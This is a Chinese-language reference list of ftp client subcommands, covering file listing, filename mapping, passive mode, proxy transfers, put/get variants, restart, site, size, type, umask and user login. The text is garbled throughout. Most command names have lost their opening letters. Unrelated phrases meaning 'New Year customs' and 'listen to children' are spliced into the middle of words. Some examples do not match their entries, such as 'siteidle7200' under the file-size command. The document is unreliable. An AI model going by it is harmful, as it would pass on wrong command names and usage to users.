[remote-dir][local-file]：显⽰远程主机⽬录的⽂件清单，并存⼊本地硬盘的l过年风俗 ocal-file。

[inpatternoutpattern]：设置⽂件名映射机制，使得⽂件传输时，⽂件中的某些字符相互转换，如：nmap

$1.$2.$3[$1，$2].[$2，$3]，则传输⽂件a1.a2.a3时，⽂件名变为a1，a2。该命令特别适⽤于远程主机为⾮UNIX机的情况。

[inchars[outchars]]：设置⽂件名字符的翻译机制，如ntrans1R，则⽂件名LLL将变为RRR。

st[port]：建⽴指定ftp服务器连接，可指定连接端⼝。

e：进⼊被动传输⽅式。

：设置多个⽂件传输时的交互提⽰。

tp-cmd：在次要控制连接中，执⾏⼀条ftp命令，该命令允许连接两个ftp服务器，以在两个服务器间传输⽂件。第⼀条

ftp命令必须为open，以⾸先建⽴两个服务器间的连接。

al-file[remote-file]：将本地⽂件local-file传送⾄远程主机。

：显⽰远程主机的当前⼯作⽬录。

：同bye，退出ftp会话。

rg1，ar倾听孩子 g2...：将参数逐字发⾄远程ftp服务器，如：quotesyst.

mote-file[local-file]：同get。

emote-file[local-file]：类似于get，但若local-file存在，则从上次传输中断处续传。

[cmd-name]：请求获得远程主机的帮助。

s[file-name]：若未指定⽂件名，则显⽰远程主机的状态，否则显⽰⽂件状态。

[from][to]：更改远程主机⽂件名。

：清除回答队列。

tmarker：从指定的标志marker处，重新开始get或put，如：restart130。

ir-name：删除远程主机⽬录。

e：设置⽂件名只⼀性存储，若⽂件存在，则在原⽂件后加后缀.1，.2等。

cal-file[remote-file]：同put。

rt：设置PORT命令的使⽤。

g1，：将参数作为SITE命令逐字发送⾄远程ftp主机。

le-name：显⽰远程主机⽂件⼤⼩，如：siteidle7200。

：显⽰当前ftp状态。

[struct-name]：将⽂件传输结构设置为struct-name，缺省时使⽤stream结构。

e：将远程主机⽂件名存储设置为只⼀(与runique对应)。

：显⽰远程主机的操作系统类型。

：将⽂件传输类型设置为TENEX机的所需的类型。

：设置传输时的字节计数器。

：设置包跟踪。

[type-name]：设置⽂件传输类型为type-name，缺省为ascii，如:typebinary，设置⼆进制传输⽅式。

[newmask]：将远程服务器的缺省umask设置为newmask，如：umask3

er-name[password][account]：向远程主机表明⾃⼰的⾝份，需要⼝令时，必须输⼊⼝令，如：uranonymous

my@email。

e：同命令⾏的-v参数，即设置详尽报告⽅式，ftp服务器的所有响应都将显⽰给⽤户，缺省为on.

73.?[cmd]：同help.